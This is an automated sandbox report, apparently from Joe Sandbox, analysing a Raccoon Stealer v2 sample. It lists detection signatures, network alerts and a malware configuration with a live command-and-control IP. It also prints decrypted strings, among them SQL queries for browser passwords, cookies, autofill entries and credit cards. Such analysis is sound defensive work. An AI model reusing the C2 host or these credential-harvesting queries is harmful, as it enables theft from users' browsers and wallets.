Edit tour

Windows Analysis Report
xGSkelSjdu.exe

Overview

General Information

Sample Name:	xGSkelSjdu.exe
Original Sample Name:	2b2aeaef6cd3a1df47c938fc4f92a12a.bin.exe
Analysis ID:	854903
MD5:	2b2aeaef6cd3a1df47c938fc4f92a12a
SHA1:	c78c70bbe30545d0cff4cbb6b290f2e5c6f0f5df
SHA256:	4495f2d6e7ca19027474aa32cae50c81ade7b543afb2393b2c81455c4d72a12c
Tags:	exeRecordBreaker
Infos:

Detection

Raccoon Stealer v2

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Raccoon Stealer v2

Snort IDS alert for network traffic

Sample uses process hollowing technique

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

DLL side loading technique detected

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found potential ransomware demand text

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Downloads executable code via HTTP

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

PE / OLE file has an invalid certificate

PE file contains more sections than normal

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

xGSkelSjdu.exe (PID: 4304 cmdline: C:\Users\user\Desktop\xGSkelSjdu.exe MD5: 2B2AEAEF6CD3A1DF47C938FC4F92A12A)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 6772 cmdline: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

AppLaunch.exe (PID: 2228 cmdline: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

cleanup

Malware Configuration

Threatname: Raccoon

{"C2 url": ["http://85.192.63.15/"], "Bot ID": "e2e6bd5da536d7ebd64fba220f16e00c", "XOR key": "e2e6bd5da536d7ebd64fba220f16e00c"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: AppLaunch.exe PID: 2228	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: AppLaunch.exe PID: 2228	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: AppLaunch.exe PID: 2228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_RaccoonV2_1	Yara detected Raccoon Stealer v2	Joe Security
Click to see the 2 entries

Snort Signatures

ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response - Source IP: 85.192.63.15 - Destination IP: 192.168.2.3

Timestamp:	85.192.63.15192.168.2.380496972036955 04/27/23-07:41:53.245341
SID:	2036955
Source Port:	80
Destination Port:	49697
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker CnC Checkin M1 - Source IP: 192.168.2.3 - Destination IP: 85.192.63.15

Timestamp:	192.168.2.385.192.63.1549697802036934 04/27/23-07:41:53.096263
SID:	2036934
Source Port:	49697
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: Raccoon {"C2 url": ["http://85.192.63.15/"], "Bot ID": "e2e6bd5da536d7ebd64fba220f16e00c", "XOR key": "e2e6bd5da536d7ebd64fba220f16e00c"}

Machine Learning detection for sample

Source: xGSkelSjdu.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: kernel32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: LoadLibraryW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetUserDefaultLocaleName
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetEnvironmentVariableW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrlenA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: FreeLibrary
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GlobalFre
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateFileW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetTimeZoneInformation
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetProcAddress
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrcpyA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ReadFil
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrlenW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: WriteFile
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SetCurrentDirectoryW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrcmpW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CloseHandle
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetLastError
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: FindNextFileW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: FindFirstFileW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Process32First
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetFileSize
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: OpenMutexW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: WideCharToMultiByte
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GlobalAlloc
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetCurrentProcess
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ExitProcess
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateMutexW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetSystemWow64DirectoryW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetLocaleInfoW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GlobalMemoryStatusEx
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetDriveTypeW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: OpenProcess
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: LocalAlloc
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrcmpiW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SetEnvironmentVariableW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CopyFileW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetModuleFileNameW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrcmpA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Sleep
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetSystemInfo
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: LocalFree
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Process32Next
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: DeleteFileW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lstrcpynA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: MultiByteToWideChar
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: FindClose
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateToolhelp32Snapshot
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: HeapFree
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetUserDefaultLCID
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetLogicalDriveStringsW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Shlwapi.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PathMatchSpecW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrCpyW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrStrIW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrStrW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PathCombineW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrRChrW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrToIntA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrToIntW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrStrA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StrToInt64ExW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Ole32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CoInitialize
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CoCreateInstance
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: WinInet.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Shell32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: User32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Advapi32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Bcrypt.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Crypt32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: HttpQueryInfoA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: HttpOpenRequestW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetReadFileExW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetOpenUrlW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: HttpQueryInfoW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetCloseHandle
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetConnectW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetSetOptionW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetOpenW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: HttpSendRequestW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetReadFile
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: InternetOpenUrlA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ShellExecuteW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SHGetFolderPathW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SHGetSpecialFolderPathW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ConvertSidToStringSidW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: OpenProcessToken
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SystemFunction036
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: RegEnumKeyExW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: RegCloseKey
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: DuplicateTokenEx
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetUserNameW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: RegOpenKeyExW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: RegQueryValueExW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetTokenInformation
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateProcessWithTokenW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CharUpperW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: EnumDisplayDevicesW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetClientRect
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetDC
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetDesktopWindow
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetSystemMetrics
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ReleaseDC
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wsprintfW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CryptStringToBinaryA
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CryptStringToBinaryW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CryptBinaryToStringW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CryptUnprotectData
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sgnl_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: tlgrm_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ews_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: grbr_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: dscrd_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: %sTRUE%s%s%s%s%s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: URL:%sUSR:%sPASS:%s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: %d) %s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Locale: %s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - OS: %s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - RAM: %d MB
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Time zone: %c%ld minutes from GMT
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Display size: %dx%d
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: %
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Architecture: x%d
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - CPU: %s (%d cores)
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Display Devices:%s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: formhistory.sqlite
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: *
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor:
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor:
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: :
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: %
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ;
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \|
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \*
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: logins.json
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \autofill.txt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \cookies.txt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \passwords.txt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ---
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: --
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: /
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded; charset=utf-8
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: text/plain;
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: User Data
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wallets
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wlts_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ldr_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: scrnsht_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sstmnfo_
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: token:
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: nss3.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: PATH
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: ProductName
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Web Data
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Login Data
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_prepare_v2
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_open16
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_close
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_step
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_finalize
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_column_text16
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_column_bytes1
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sqlite3_column_blo
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT name, value FROM autofill
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: pera
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Stable
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: cookies.sqlite
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: machineId=
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: &configId=
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: "encrypted_key":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: stats_version":"
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: application/x-object
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GET
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: POST
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Low
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: MachineGuid
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: image/jpeg
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdiPlus.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Gdi32.dll
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdiplusStartup
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdipDisposeImage
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdipGetImageEncoders
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdipGetImageEncodersSize
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GdipSaveImageToFile
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: BitBlt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateCompatibleBitmap
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: CreateCompatibleDC
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: DeleteObject
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: GetObjectW
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SelectObject
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SetStretchBltMode
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: StretchBlt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Cookies
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Network\Cookies
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: NUM:%sHOLDER:%sEXP:%s/%s
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: \CC.txt
Source: 00000000.00000003.237007486.0000000002080000.00000040.00001000.00020000.00000000.sdmp	String decryptor: NSS_Init
